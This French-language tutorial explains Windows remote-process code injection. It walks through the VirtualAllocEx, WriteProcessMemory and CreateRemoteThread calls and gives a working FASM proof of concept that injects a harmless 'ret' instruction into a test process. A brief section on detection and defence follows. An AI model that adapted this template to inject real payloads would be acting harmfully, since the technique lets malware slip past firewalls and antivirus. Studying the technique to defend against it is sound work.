0. Sommaire
1. Pré-requis
2. Qu'est ce qu'une injection de code ?
3. Principe de fonctionnement
4. Exemple !
5. Connaître son ennemi
6. Quelques liens
1. Pré-requis
Pour comprendre ce papier vous aurez besoin des éléments suivants:
- Un minimum de programmation sous Windows (API)
- Un language de programmation (n'importe quel language compilé pour l'injection, ne pas confondre avec le code à injecter)
- Comprendre un peu l'ASM pour le POC mais ça reste vraiment basique
2. Qu'est ce qu'une injection de code ?
Une injection de code consiste à placer du code exécutable dans un processus distant pour l'exécuter. Pour imager, c'est un peu à la programmation ce que le BOF est au hacking.
Quelle est l'utilité d'injecter du code ? Sincèrement je n'en vois pas d'autres que le developpement de code malveillant, dans le but de bypasser les firewalls personnels. Les antivirus l'ont d'ailleurs bien compris, et il y a de fortes chances que les moteurs d'analyse heuristique vous renvoie dans vos 15 mètres (heureusement d'ailleurs) si un tel comportement est detecté.
Il existe plusieurs méthodes, certaines sont excessivement simples (dont celle que nous voyons dans ce papier), d' autres sont en revanche bien plus complexe (notamment la méthode de "Ghost Writing"). Le niveau de difficulté dans l'implémentation est bien sur lié à la volonté de passer inaperçu.
3. Principe de fonctionnement
La méthode expliquée ici repose sur l'utilisation intensive d'API windows dont la liste est présentée ci-dessous. Les différentes étapes de mises en place sont les suivantes :
- Allouer un espace dans la mémoire du processus distant. La taille de cet espace est bien évidemment celle du code à injecter.
- Ecrire le code dans l'espace précédemment récupéré
- Créer une thread pour exécuter le code
Voici la fameuse liste d'API :
LPVOID WINAPI VirtualAllocEx(
__in HANDLE hProcess,
__in_opt LPVOID lpAddress,
__in SIZE_T dwSize,
__in DWORD flAllocationType,
__in DWORD flProtect
);
Cette API sert à allouer de la mémoire dans le processus distant, dont le handle aura au préalable été récupéré.
BOOL WINAPI WriteProcessMemory(
__in HANDLE hProcess,
__in LPVOID lpBaseAddress,
__in LPCVOID lpBuffer,
__in SIZE_T nSize,
__out SIZE_T *lpNumberOfBytesWritten
);
Cette API nous permet d'écrire dans la mémoire d'un processus (local ou distant).
HANDLE WINAPI CreateRemoteThread(
__in HANDLE hProcess,
__in LPSECURITY_ATTRIBUTES lpThreadAttributes,
__in SIZE_T dwStackSize,
__in LPTHREAD_START_ROUTINE lpStartAddress,
__in LPVOID lpParameter,
__in DWORD dwCreationFlags,
__out LPDWORD lpThreadId
);
Cette API va créer la thread en pointant sur le code à executer.
4. Exemple !
Il n'y a pas grand chose à dire de plus c'est vraiment simple. Des liens sont fournis à la fin du billet pour expliquer plus en détails les API utilisées. Nous passons donc directement à l'exemple en ... ASM (FASM) évidemment ! Pour notre POC, nous allons simplement injecter l'instruction "ret" (0x3C) qui aura pour effet de sortir immédiatement de la thread que nous aurons précédemment créée.
Vous ne pourrez peut-être pas constater l'injection sans debugger (pour des question de priorité des threads, parce qu'un ret sur une thread fait sortir la thread et pas le programme entier, etc). Il vous faudra donc potentiellement attacher la cible de l'injection avec votre debugger favori pour jouer avec.
format PE GUI 4.0
entry start
include 'win32a.inc'
;section de code
section '.text' code readable executable
start:
;alloc du buffer sur la pile pour la création du process
push ebp
mov ebp, esp
sub ebp, 84 ;processinfo + startupinfo
mov esi, ebp
lea edi, [esi + 16]
;on monte la cible de l'injection en mémoire
push esi
push edi
push 0
push 0
push 0
push 0
push 0
push 0
push szTarget
push 0
call [CreateProcess]
;on récupère un handle
mov esi, dword[esi]
mov [hwnd], esi
;on rétablit la pile
add ebp, 84
pop ebp
;alloc de la mémoire dans le process distant
push PAGE_EXECUTE_READWRITE
push MEM_COMMIT
push [dwSize]
push 0
push [hwnd]
call [VirtualAllocEx]
mov [pBuffer], eax ;on récupere un pointer sur le buffer alloué
;écriture du code :)
push [dwByteWritten]
push [dwSize]
push CodetoInject
push [pBuffer]
push [hwnd]
call [WriteProcessMemory]
;finalement on crée la thread qui va éxécuter notre code
push 0
push 0
push 0
push [pBuffer]
push 0
push 0
push [hwnd]
call [CreateRemoteThread]
CodetoInject:
ret
sizeOfCode = $ - CodetoInject
;données !
section '.data' data readable writeable
hwnd dd ?
dwByteWritten dd ?
pBuffer dd ?
dwSize dd sizeOfCode
szTarget db "C:\test\test.exe", 0
PAGE_EXECUTE_READWRITE equ 040h
MEM_COMMIT equ 1000h
;les imports !
section '.idata' import data readable writeable
;on importe kernel32.dll !
library kernel,'KERNEL32.DLL'
;notre trio infernal d'API + le CreateProcess pour lancer la cible
import kernel,\
CreateProcess, 'CreateProcessA',\
VirtualAllocEx,'VirtualAllocEx',\
WriteProcessMemory, 'WriteProcessMemory',\
CreateRemoteThread, 'CreateRemoteThread'
Bien évidement dans la vraie vie, injecter un ret n'a aucun intérêt. Laissez libre court à votre créativité ! Il y a aussi quelques embûches liées au système d'exploitation, le plus gros étant d'avoir les permissions sur le processus cible.
5. Connaître son ennemi
Vous aurez surement une impression de déja-vu si vous lisez ces quelques lignes, et si vous avez lu un autre de mes documents sur l'inline hook. C'est normal. Si vous avez retenu, vous comprendrez facilement pourquoi.
Pour se protéger des injections de code intampestive, il convient se se prémunir en amont à l'aide de logiciels spécifiquement conçus dans l'objectif de protéger la mémoire du système. Process Guard en est l'exemple, il est d'ailleurs particulièrement efficace s'il est correctement configuré. Les antivirus (performance mise à part) vont également (en général) vérifier les comportements de ce type à l'aide d'analyse heuristique. Les firewall personnels (comme BlackIce ou ZoneAlarm) fournissent quant à eux une protection en temps réel en crochetant (et oui) les API (userland ou kernel) servant ce but, et offre ainsi une protection relativement efficace.
Vous pouvez également analyser l'anatomie du code injecté avec Ollydbg, il vous suffirait d'attacher le processus infecter et de regarder du coté des threads en cours. Ce sujet appartient au reverse engineering, ça ne sert à RIEN de le traiter ici.
Ceci dit, si vous n'avez aucune protection et que ces utilitaires vous donne un résultat positif, vos données vous ont probablement déja été dérobées, vous êtes déjà sous surveillance !
6. Quelques liens